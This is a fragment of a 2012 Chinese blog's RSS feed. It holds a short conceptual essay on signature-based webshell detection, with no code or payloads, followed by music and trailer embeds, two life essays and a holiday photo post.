用计算机的术语来说，攻是个单线程任务，你单核cpu频率越高，则效果愈好。防则是个多线程任务，你cpu核心越多，则效果俞佳。
上面是前言，下面说webshell的查杀

其实和pc一样，如........]]></description>
			<content:encoded><![CDATA[<p>原创作品：转载注明作者 及出处<br />
有问题或者建议：QQ124839584或者blog:http://livers,sinaapp.com<br />
很多人一直注重于攻，而轻视于防。</p>
<p>攻在于创新，防在于全面。<br />
用计算机的术语来说，攻是个单线程任务，你单核cpu频率越高，则效果愈好。防则是个多线程任务，你cpu核心越多，则效果俞佳。<br />
上面是前言，下面说webshell的查杀</p>
<p>其实和pc一样，如安卓的恶意捆绑木马 和linux的恶意镜像源。一样的道路，web也要过一遍，pc端杀毒也是几个阶段。<br />
从最初的专杀到特征码查杀再到基于行为的查杀（启发式查杀），再到最近炒得火热的云查杀。<br />
说句题外话：所谓的云查杀更像是基于网络的特征码查杀。<br />
同理：服务器上的webshell查杀也需要走特征码的路线，在现在硬件水平高于网络通信带宽的情况下，特征码还是非常必要的，<br />
接下来的就是讲webshell的特征码问题。<br />
依据pc端病毒特征码的原理：根据执行文件如PE文件，从各个段提出多个特征码进行多对一的映射定位（这个主要是为了防止类此myccl之类的过免杀），这种提取的方式有很多种，大部分高效的做法还是经验丰富的病毒分析师凭经验定位特征码。</p>
<p>如PC端病毒特征码类似，但又不尽相同，pc端的病毒是以执行文件存在的，提取特征码只是在机器码-反汇编代码的基础上进行定位的。而webshell是以源码的形式进行定位。机器码是最底层的语言，定的很死，比如我们od中常用的int3 就是0cch一一对应，不会再变。而webshell使用高级脚本语言，高级语言的写法是存在多样性，如php中的各种字符串操作函数，这无疑增加了定位特征码的难度。<br />
其实，现实是这样的对于大马的查杀是相对容易的，无论php，asp,.net的大马，他们中调用的一些函数是普通脚本代码不会用到，所以可以以这些特殊函数为正则匹配规则，进行匹配。（大部分的服务器安全软件也是这样做的）当然这样做的结果，会出现误杀的情况，因此要借用多重特征码进行匹配。一些做免杀的朋友，可能就笑了，这太好过了，直接做下字符串拆分，然后在连接，或者写个加解密，再或者加混淆代码轻松就过了。<br />
这样理论上是对的，但是实际中忽略了电脑硬件的能力，对于2^32的运算一般配置的电脑也不会超过10秒，对于各种字符串加解密我们可以对与加解密运算的字符进行匹配，然后查杀设计要加入语义分析，如果学过编译原理的应该熟悉，对匹配到的字符串加减操作进行还原进行最终的匹配。<br />
对于一句话木马的查杀则比较麻烦，因为变异的一句话木马有些是用的web应用程序正常调用的函数，再加上些变形，查杀是比较棘手，这种查杀则需要进行大量的样本收集，对其进行特征码提取。<br />
特征码的提取可采用统计学中的采样方法，取一定数量的样本（包括正常样本和网马样本），对其进行异样提取，再对各类样本进行同样提取，再通过出现概率在进行添加。最终生成特征码样本。<br />
这样基本对已知存在的一句话木马匹配到。<br />
对于特征码的匹配算法尚在测试中。</p>
<p>欢迎提供更多的webshell样本.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6149/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wanting(曲婉婷)原创之一”Drenched” LIVE!</title>
		<link>http://www.am82.com/6144/</link>
		<comments>http://www.am82.com/6144/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 03:09:47 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[浓咖啡]]></category>
		<category><![CDATA[曲婉婷]]></category>
		<category><![CDATA[视频]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6144</guid>
		<description><![CDATA[喜欢........]]></description>
			<content:encoded><![CDATA[<p><embed src="http://player.youku.com/player.php/sid/XMjQ3Nzc3MTMy/v.swf" allowFullScreen="true" quality="high" width="480" height="400" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash"></embed></p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6144/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>对他们来说，你生在世上，就是为了这个</title>
		<link>http://www.am82.com/6141/</link>
		<comments>http://www.am82.com/6141/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 01:42:31 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[三八纯情]]></category>
		<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6141</guid>
		<description><![CDATA[他们觉得……

你应该早起早睡，睡前忍住干渴，以免因睡前喝水留下眼袋，因缺少睡眠留下黑眼圈，因不规律睡眠而形容枯槁憔悴。

你应该每天顺手看被大量转发的媒体新闻、小道消息，用你的电子设备订阅一些大家都在订阅的信息源，记住每天出现的新名词，至少让它们在你大脑里留一天。你得学会拿每天奔流不息滔滔逝水的流行语和文体，来开时髦的玩笑。

你应该在.......]]></description>
			<content:encoded><![CDATA[<p>他们觉得……</p>
<p>你应该早起早睡，睡前忍住干渴，以免因睡前喝水留下眼袋，因缺少睡眠留下黑眼圈，因不规律睡眠而形容枯槁憔悴。</p>
<p>你应该每天顺手看被大量转发的媒体新闻、小道消息，用你的电子设备订阅一些大家都在订阅的信息源，记住每天出现的新名词，至少让它们在你大脑里留一天。你得学会拿每天奔流不息滔滔逝水的流行语和文体，来开时髦的玩笑。</p>
<p>你应该在一些够有名的地方吃午饭，记住那些店的一些烹饪特色和价格标牌，以便在不经意中透露给他人。</p>
<p>你应该准确把握潮流，拿什么人开玩笑是可以的，拿什么人开玩笑是时兴的，站在什么立场是最安全的，谈什么话题是最高端的。</p>
<p>你应该熟记大量营养搭配，然后划出表格，精确的控制自己的膳食。</p>
<p>你应该多读一些缩减版图解类的二手名著，记住一些基本情节、人物和中心思想；同时买下销量榜单上前十名川流不息走马灯的书，迅速读完序和后记，保证自己能对之侃侃而谈。</p>
<p>你应该时常在健身房确认自己的体重、脂肪含量比、心肺功能。</p>
<p>你应该在网上浩如烟海的交流帖里沙里淘金出一些保养品，然后亦步亦趋外服内敷保重自己的身体。</p>
<p>你应该有一份印满许多显赫国名的护照。</p>
<p>你应该有一份念出来明亮朗澈、音韵铿锵、堂堂正正的职业。</p>
<p>你应该有两门以上可读可写的可靠外语，以及四五门外语的简单会话。你应该国语流利，但也不能在转化家乡话时有任何障碍。</p>
<p>你应该有一份被问到时忽略百万以下数位并歉然答“大概这么多，我也不是很清楚，都交给爸妈了”的收入。</p>
<p>你应该有在校大学生听了都潸然泪下的假期安排和自由度。</p>
<p>你应该持有人们所能想到的一切文凭，而且专业名字应该堂堂正正，不能太拗口。这专业应该让人立刻在脑海里勾勒出灿烂瑰丽的形象，而非“这玩意怎么念，具体是学啥”的好奇心。</p>
<p>你应该毕业于一所让人交头接耳“那地方可不容易进啦”、“我终于见着活的XX大学的大学生啦”的大学。</p>
<p>你应该毕业于一所让人干咽唾沫追问“没花钱就进那地方啦，这么了不起啊”的中学。</p>
<p>你应该有一座书架，排满了你出版的书、你获的奖状、你和某名人不卑不亢握手同时你雄姿英发明显胜出一筹的照片。</p>
<p>你应该具备瞥一眼酒瓶包装就了然于心的红酒知识，口袋里装满整包敬人用的烟，以及一小盒迷你雪茄。</p>
<p>你应该肚里装着五六个随时可以拿出来活跃气氛的笑话。</p>
<p>你应该在适当的年龄结婚，嫁娶一个至少和你等级别的伴侣。对方不可以有婚姻或恋爱史，而且对你千依百顺疼爱有加。</p>
<p>你应该已经在众人称羡的名区买了房子，且不只一处，且没有房贷。孩子哪怕还没生，也应该已经在肚子里酝酿完成只待出世了。孩子的出国留学费用你已存下，而且是用外币账户存的，而非人民币。</p>
<p>你应该从小就聪慧灵巧多才多艺，会钢琴，会书法，琴棋书画诗词歌赋。</p>
<p>你应该从小就乖，阿姨抱也不闹，叔叔一逗就笑。</p>
<p>你应该还在妈肚子里时就从来不惹麻烦，出生都是完美顺产。一出生就红光满面美人/帅哥坯子，被产科医生都惊为天人。</p>
<p>你应该成熟稳重如奢侈品广告里的人们。你谈论一切理想时都该用曾经沧海的切实口吻。对单纯热血的话题表示矜持的兴趣，但要表现出“我已经跨过这一关了”的姿态。</p>
<p>你应该拥有以上这一切，并学会将以上这一切，用不经意、不带侵略性、蜂蜜一样黏稠温柔甘甜的方式，炫耀给人听。</p>
<p>若你不拥有以上这一切，至少你得学个八九不离十，在几天内的几次会面中，表现出这一切。</p>
<p>当这些都准备完之后，你终于变成了一个干净如洗衣粉广告、矜贵如钻石广告、典雅如雪茄广告、健美如运动鞋广告、品位如威士忌广告、成功自信如别墅广告、健康如保健品广告、一路顺风如汽车广告的，从里到外了无瑕疵，人肉移动活广告。</p>
<p>好了，你终于像黄裳写《九阴真经》般修成正果，预先把各家各派所有的武功都破解了。你终于可以打点行装，回家过年去了。去面对你的亲戚、朋友、亲戚的亲戚、朋友的朋友、亲戚的朋友、朋友的亲戚、亲戚的朋友的亲戚、朋友的亲戚的朋友……………………们了。</p>
<p>你将在他们铺天盖地的关怀追问下应付裕如，待他们矛折剑断弹尽粮绝后便会认输，并乐滋滋的给你上封号“别人家的孩子”。然后你父母开怀大乐，觉得脸上有光。你终于在一片啧啧赞叹中飞进了千家万户，变成了“别人家的孩子”。只跟你聊过几句天、只见过你几分钟、只听过你片言只语的亲戚们、亲戚的亲戚们、亲戚的朋友们、亲戚的朋友的亲戚们、亲戚的亲戚的朋友们…………，都会觉得，自己从这占人生0.0001%时间的会面里，通过这些物质标签，已知晓了你辉煌烂漫的一生，于是羡慕着称赞着附和着并自行虚构补完了你其他人生的99.999%，然后回家添油加醋，把你述说成文能安邦武能定国会七十二般变化能腾云驾雾撒豆成兵点石成金一生下来就祥云万道满室异香出一滴汗都是乳香吐一口唾沫都是龙涎香三岁能文七步成诗周游列国不用翻译八分钟环游地球的人，然后对自家孩子说：<br />
“你看看你，再看看人家孩子XXX！”</p>
<p>对你即将或已遇到的99.9999999%的人来说，他们只在乎你在这0.0001%的时间里像不像一个完美的已婚的富裕的彬彬有礼的戴着该戴的手表穿着该穿的衣服去广告宣传的地方旅游长得活像时尚杂志封面的人肉典范活广告，是否够资格成为“别人家孩子”被议论。至于其他99.9999%的时间你在干什么，他们并不在乎。对他们来说，你生在世上，就是为了这个。</p>
<p id="aeaoofnhgocdbnbeljkmbjdmhbcokfdb-mousedown">作者：张佳玮</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6141/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>那些你所不知道的大事</title>
		<link>http://www.am82.com/6139/</link>
		<comments>http://www.am82.com/6139/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 05:02:51 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[浓咖啡]]></category>
		<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6139</guid>
		<description><![CDATA[文 李月亮

在你的生命里，经历了一些很重大的事情，可是你并不知道。 

5岁那年，爸爸下班回来，你跑去迎接他，不小心摔了个狗啃泥，不过没有受伤。 

你并不知道，就在你摔倒的地方往左两厘米，立着一根小钉子，如果你稍微偏一偏，左眼就失明了。 

10岁那年，你一个人在家煮方便面，刚把水壶放到煤气炉上，就接到妈妈的电话让你去姥姥家，你完全忘了开着的煤气炉，锁上门就走了。多么幸运，当.......]]></description>
			<content:encoded><![CDATA[<p>文 李月亮</p>
<p>在你的生命里，经历了一些很重大的事情，可是你并不知道。 </p>
<p>5岁那年，爸爸下班回来，你跑去迎接他，不小心摔了个狗啃泥，不过没有受伤。 </p>
<p>你并不知道，就在你摔倒的地方往左两厘米，立着一根小钉子，如果你稍微偏一偏，左眼就失明了。 </p>
<p>10岁那年，你一个人在家煮方便面，刚把水壶放到煤气炉上，就接到妈妈的电话让你去姥姥家，你完全忘了开着的煤气炉，锁上门就走了。多么幸运，当壶里的水被烧干了，煤气正好用完了。一场势不可挡的火灾没有发生。 </p>
<p>15岁那年，某天晚上，你下了晚自习，像往常那样回家，你肯定没有想到，在刚刚经过的那条小路上，几个小流氓欲拦住你图谋不轨，可是刚好一对夫妻走了过来，坏蛋们一胆怯，放过了你。 </p>
<p>25岁那年，你怀着孕，不小心感冒了，去医院打针时粗心的大夫开错了药。当护士拿着会致胎儿畸形的甲硝唑准备给你打时，路过的护士无意间看了一眼，刚走过去又折回来，悄悄提醒那个护士说，孕妇不能用这个药啊。谁也不知道，如果那天药打进去，会是什么结果，反正你是幸运地躲过了厄运。 </p>
<p>有那么多次，你都差点掉进悲伤的深渊，可是，你幸运地躲过去了。不得不说，有那么多时候，上苍都眷顾着你，救你于苦海。 </p>
<p>如果知道了这些，你还会为了一点小困难小失败小痛苦去埋怨吗？考试的低分，恋人的背叛，身体的伤病……相对那些躲过去的灾难，这些算得了什么？所以，亲爱的，在困难的时候要相信，其实生活对你很眷顾。 </p>
<p>当然，在你的生命里，还有一些大事情，你并不知道。 </p>
<p>6岁那年，爸爸准备送你去少年宫学习绘画，可是，由于奶奶生病，那个暑假他们没有时间接送你，就把这件事放下了。没有人知道，如果当时得到专业的培训，以你的天赋，就会在这方面取得不凡的成就。 </p>
<p>18岁那年，你暗恋已久的男生准备向你表白，信已经写好了，又专门跑到你家楼下小心翼翼地投进信箱。可是他记错了楼号，那封信，被邻居拿到，疑惑了好久之后，给丢掉了。一个男孩，一段青春里最美好的恋情，就这样与你擦肩而过。 </p>
<p>24岁那年，你到一家非常好的单位求职，费尽心思终于闯到最后一关，却还是失败了。你并不知道，其实本来你的名字已经在录取的名单里面了，可是，在敲定人选的会议上，一位重量级的评委把你记成另一个表现很差的人，坚定地投了反对票。就这样，别人一个莫名的小失误，让你失去了一份梦寐以求的好工作。 </p>
<p>这样的事情，大概还有不少。有那么多次，命运本来已经要改变了，却在最后的关头，因为莫名其妙的偏差，掉转了方向。哦，或许，你的运气实在不怎么样。 </p>
<p>所以，亲爱的，当你的彩票中了奖，当你的古董升了值，当你顺利地考上大学又考上了研究生，当你成为单位里最年轻的管理者……不要让自己飘起来，不要轻易地以为自己的运气和实力多么好，要知道，这只是你人生里本来可以发生的美好事情的一部分——还有一部分，你并没有得到。 </p>
<p>真的，生活并不完全是你看到的样子，很多大事情你经历了却并不知道。如果你知道了这些，你大概就不会对现在的得与失太在意了。 </p>
<p>没错，每个人都不是步步摔跟头的倒霉蛋，更没有人是一帆风顺的命运的宠儿。 </p>
<p>看淡那些事情，平静而踏实地经历生活的起落，相信你会生活得更好。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6139/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>老乡，我们一起回家</title>
		<link>http://www.am82.com/5167/</link>
		<comments>http://www.am82.com/5167/#comments</comments>
		<pubDate>Sun, 08 Jan 2012 07:03:26 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[浓咖啡]]></category>
		<category><![CDATA[回家]]></category>
		<category><![CDATA[图]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=5167</guid>
		<description><![CDATA[你打电话叫外卖，电话里说很抱歉，这几天不送了；你上网买东西，店主告诉你要赶紧，明天就不接单了；你进电梯，旁边几个陌生人聊天，时不时蹦出"回家"、"买票"这样的字眼；你走在大街上，车票代售点排了一大队人，路上还有人卖便携式的小板凳……生活中越来越多的细节提醒你：快过年了，该回家了。
<img src="http://i.6.cn/cvbnm/c1/f2/18/55d810cf193bf76884ccc65bbd755bcc.320.jpg" alt="" />]]></description>
			<content:encoded><![CDATA[<p>你打电话叫外卖，电话里说很抱歉，这几天不送了；你上网买东西，店主告诉你要赶紧，明天就不接单了；你进电梯，旁边几个陌生人聊天，时不时蹦出”回家”、”买票”这样的字眼；你走在大街上，车票代售点排了一大队人，路上还有人卖便携式的小板凳……生活中越来越多的细节提醒你：快过年了，该回家了。</p>
<p><a href="http://tu.6.cn/pic/show-new/id/12100605"><img src="http://i.6.cn/cvbnm/c1/f2/18/55d810cf193bf76884ccc65bbd755bcc.jpg" alt="" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/5167/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>【就是闹着玩的】超清预告片+MV</title>
		<link>http://www.am82.com/6135/</link>
		<comments>http://www.am82.com/6135/#comments</comments>
		<pubDate>Sat, 07 Jan 2012 00:46:10 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[三八纯情]]></category>
		<category><![CDATA[于谦]]></category>
		<category><![CDATA[就是闹着玩的]]></category>
		<category><![CDATA[岳云鹏]]></category>
		<category><![CDATA[李易祥]]></category>
		<category><![CDATA[视频]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6135</guid>
		<description><![CDATA[预告片太搞了，笑得我眼泪都出来了.........]]></description>
			<content:encoded><![CDATA[<p><embed src="http://player.youku.com/player.php/sid/XMzM3MzAzNzAw/v.swf" quality="high" width="480" height="400" align="middle" allowScriptAccess="sameDomain" allowFullscreen="true" type="application/x-shockwave-flash"></embed></p>
<p><embed src="http://player.youku.com/player.php/sid/XMzM2NjA2MTYw/v.swf" quality="high" width="480" height="400" align="middle" allowScriptAccess="sameDomain" allowFullscreen="true" type="application/x-shockwave-flash"></embed></p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6135/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

